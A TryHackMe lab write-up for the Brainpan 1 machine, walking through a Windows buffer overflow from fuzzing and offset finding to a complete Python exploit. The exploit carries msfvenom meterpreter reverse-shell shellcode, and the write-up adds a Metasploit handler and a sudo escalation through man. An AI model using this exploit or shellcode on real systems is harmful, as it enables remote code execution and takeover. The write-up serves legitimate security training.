Brainpan 1 WriteUp Tryhackme
Reverse engineer a Windows executable, find a buffer overflow, and exploit it on a Linux machine.
Information Gathering
Nmap :
╭─root@kali ~
╰─➤ nmap -sV -sC 10.10.146.62 -T5 -oN brainpan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-10 02:57 EDT
Nmap scan report for 10.10.146.62
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=7%D=6/10%Time=62A2EB65%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.49 seconds
open ports :
- 10000 (python simple httpserver)
- 9999 (abyss web server for windows {nmap is not sure about that})
port 10000 (python HTTP server)
Visiting the port 10000 we found nothing interesting there was just an image on the page, which showed points about safe codding practice. we can view the source code for the same :
as you can see we got a link to an external website commented out in the source, on visiting it gives best practices for software codding.
port 9999 (abyss webserver)
on visiting the webserver we got the interface like this :
I believe we can access the abyss server from the command line utility nc
let's try to visit it :
since the theme of this machine is a buffer overflow, we could possibly try to perform a buffer overflow attach on this port. but for testing, we need the binary running this server. for now, lets continue with our enumeration :
directory brute-forcing
port 9999
when we try to do directory bruteforcing on port 9999 we get some very wired message. so I continue on with port 10000
port 10000
and we got one directory
let's try to visit that :
and we got the brainpan.exe
binary possibly now, we can try to reverse engineer that and try to find buffer overflow.
reversing brainpan.exe for buffer overflow
prerequisites :
- window VM
- immunity debugger installed on windows VM
- mona python script configured with immunity debugger
open brainpan.exe
with immunity debugger, for the first time when you will start the binary in immunity debugger, windows firewall will ask connection allow or deny. just allow it.
now the binary will start, and listen for incoming connection :
now try to visit it locally from our kali machine :
and on the window machine, we can see we got the connection
fuzzing
first configure mona’s current working directory, so that we can easily work on it like so :!mona config -set workingfolder c:\mona\%p
now let's try to crash the application, we will send the bunch of “A….” to crash the machine.
python3 -c 'print("A"*100)' | nc 192.168.1.18 9999
after sending 100 A application didn't crash, the immunity debugger is still showing that it is in a running state.
now let's try to send 500 A, and it also didn’t work
let's try to send 1000 A, and this time it worked, we successfully crashed the application.
Finding Offset
For finding offset, we will be going to we will first gonna create the cyclic pattern. we can create that pattern either with pwn-tools or with Metasploit. I will be using Metasploit :
/usr/bin/msf-pattern_create -l 1000
and then will going to send this to the server :
╭─root@kali ~
╰─➤ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" | nc 192.168.1.18 9999
now the application will crash, note the value of EIP register: 35724134
we can find the offset with Metasploit pattern offset utility like so :
/usr/bin/msf-pattern_offset -l 1000 -q 35724134
it will give us an offset value of 524
Finding bad character
first, create all characters in hex with mona like so :
!mona bytearray -b "\x00"
we have created all chracter except \x00 as it it universal bad character
it can be found at the location C:\mona\brainpan\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
or we can also create all characters with python also like so :
all_char=""
for x in range(1, 256):
all_char+="\\x" + "{:02x}".format(x)
print(all_char)
or we can also use bad chars pip module pip install badchars
and generate all_chracter hex code like so : badchars -f python
Creating Buffer Overflow Script :
#!/bin/python
import sys
import socket
import structoffset=524all_char=b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'buffer= b"A"*offset+b"BBBB"+all_chartry:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.18",9999))
s.send((buffer+b"\r\n"))
s.close()
except:
print("error")
sys.exit()
after executing the script above the program crashed, now we could potentially find the bad character, by comparing all characters generated by mona previously like so :
!mona compare -f C:\mona\brainpan\bytearray.bin -a <ESP_ADDRESS>
as you can see we got the result :
which says unmodified, means there is no bad character, only there was one \x00
, which is universal bad character.
Finding jump statement | return address
we can find it with mona like so :
!mona jmp -r esp -cpb "ALL_BAD_CHAR"
so after executing the command above we got only one return/jump statement :
now we will make this address, as our new EIP, so that it will going to jump to that address where we will going to store our shellcode.
also now in order to use this address, you will need to convert it from little-endian (based on os). we can do so with the python struct
function :
def p32(data):
return struct.pack('<I',data)p32(0x<RETURN_ADDRESS>)
Adding NOPs and SHELLCODE Injection
adding NOPs
now when we will going to jump the new EIP, where our shellcode will reside, it will take some space to open up the shell, so for safety, will going to add NOPs which basically means no operation, just do nothing (\x90). we can add some number of NOPs multiple of 8 (as the memory address of 8 bits)
b'\x90'*16
generate shellcode
we can generate shellcode with Metasploit with the following command :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 -b "\x00" -f py -v shellcode
I am going to use meterpreter reverse shell !!
now just add these two things (NOPs and shellcode ) to our buffer
Final Buffer overflow script :
#!/bin/python
import sys
import socket
import structdef p32(data):
return struct.pack('<I',data)# bad_char=b"\x00"offset=524
jmp_esp=p32(0x311712f3)
nop_sled=b"\x90"*16
buffer= b"A"*offset+b"BBBB"shellcode = b""
shellcode += b"\xd9\xc0\xd9\x74\x24\xf4\xbf\x82\x72\xea\x0e"
shellcode += b"\x5e\x33\xc9\xb1\x59\x31\x7e\x19\x83\xee\xfc"
shellcode += b"\x03\x7e\x15\x60\x87\x16\xe6\xeb\x68\xe7\xf7"
shellcode += b"\x93\xe1\x02\xc6\x81\x96\x47\x7b\x15\xdc\x0a"
shellcode += b"\x70\xde\xb0\xbe\x87\x57\x7e\x99\xa6\x68\xf4"
shellcode += b"\x97\xe0\xa7\xcb\xf4\xcd\xa6\xb7\x06\x02\x08"
shellcode += b"\x89\xc8\x57\x49\xce\x9e\x12\xa6\x82\xab\x8f"
shellcode += b"\x28\x74\x27\x6d\x74\x7b\xe7\xf9\xc4\x03\x82"
shellcode += b"\x3e\xb0\xbf\x8d\x6e\xb3\x18\xae\x8f\x10\xc8"
shellcode += b"\x25\xc7\x8e\x6c\xf0\xac\x92\x5f\xfc\x04\x61"
shellcode += b"\xab\x89\x96\xa3\xe5\x4d\x34\x8a\xc9\x43\x44"
shellcode += b"\xcb\xee\xbb\x33\x27\x0d\x41\x44\xfc\x6f\x9d"
shellcode += b"\xc1\xe2\xc8\x56\x71\xc6\xe9\xbb\xe4\x8d\xe6"
shellcode += b"\x70\x62\xc9\xea\x87\xa7\x62\x16\x03\x46\xa4"
shellcode += b"\x9e\x57\x6d\x60\xfa\x0c\x0c\x31\xa6\xe3\x31"
shellcode += b"\x21\x0e\x5b\x94\x2a\xbd\x8a\xa8\xd3\x3d\xb3"
shellcode += b"\xf4\x43\xf1\x7e\x07\x93\x9d\x09\x74\xa1\x02"
shellcode += b"\xa2\x12\x89\xcb\x6c\xe4\x98\xdc\x8e\x3a\x22"
shellcode += b"\x8c\x70\xbb\x52\x84\xb6\xef\x02\xbe\x1f\x90"
shellcode += b"\xc9\x3e\x9f\x45\x67\x35\x37\xa6\xdf\x48\xd7"
shellcode += b"\x4e\x1d\x4b\xc6\xd2\xa8\xad\xb8\xba\xfa\x61"
shellcode += b"\x79\x6b\xba\xd1\x11\x61\x35\x0d\x01\x8a\x9c"
shellcode += b"\x26\xa8\x65\x48\x1e\x45\x1f\xd1\xd4\xf4\xe0"
shellcode += b"\xcc\x90\x37\x6a\xe4\x65\xf9\x9b\x8d\x75\xee"
shellcode += b"\xfb\x6d\x86\xef\x69\x6d\xec\xeb\x3b\x3a\x98"
shellcode += b"\xf1\x1a\x0c\x07\x09\x49\x0f\x40\xf5\x0c\x39"
shellcode += b"\x3a\xc0\x9a\x05\x54\x2d\x4b\x85\xa4\x7b\x01"
shellcode += b"\x85\xcc\xdb\x71\xd6\xe9\x23\xac\x4b\xa2\xb1"
shellcode += b"\x4f\x3d\x16\x11\x38\xc3\x41\x55\xe7\x3c\xa4"
shellcode += b"\xe5\xe0\xc2\x3a\xc2\x48\xaa\xc4\x52\x69\x2a"
shellcode += b"\xaf\x52\x39\x42\x24\x7c\xb6\xa2\xc5\x57\x9f"
shellcode += b"\xaa\x4c\x36\x6d\x4b\x50\x13\x33\xd5\x51\x90"
shellcode += b"\xe8\xe6\x28\xd9\x0f\x07\xcd\xf3\x6b\x08\xcd"
shellcode += b"\xfb\x8d\x35\x1b\xc2\xfb\x78\x9f\x71\xf3\xcf"
shellcode += b"\x82\xd0\x9e\x2f\x90\x23\x8b"buffer = b"A"*offset+jmp_esp+nop_sled+shellcodetry:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.18",9999))
s.send((buffer+b"\r\n"))
s.close()
except:
print("error")
sys.exit()
Exploitation
open reverse shell handler with Metasploitexploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth0
set lport 4444
and listen for reverse connection after executing the above script !!
and finally, we got the reverse shell.
Modifying the script according to the target
since we were testing this on our own local windows VM, we need to do slight modifications in the script to that, it works on the Tryhakcme virtual machine. we need to do two things
- modify the IP address in the socket
- modify the payload to Linux (because the base operating system is Linux)
- so the payload would be
linux/x86/shell_reverse_tcp
- modify the shellcode with the new IP of the machine
then rerun the script :
and we got the shell on the system.
Privilege Escalation
First, stabilize the shell python3 -c 'import pty;pty.spawn("/bin/bash")'
when we do sudo -l
we found that there is one binary we can run as SUDO privileges. On executing that binary, it is giving us an option, in which one option looks interesting manual
aka man
.
If we look at GTFObins, we have SUDOexploit for man
.
and now we got the root shell !!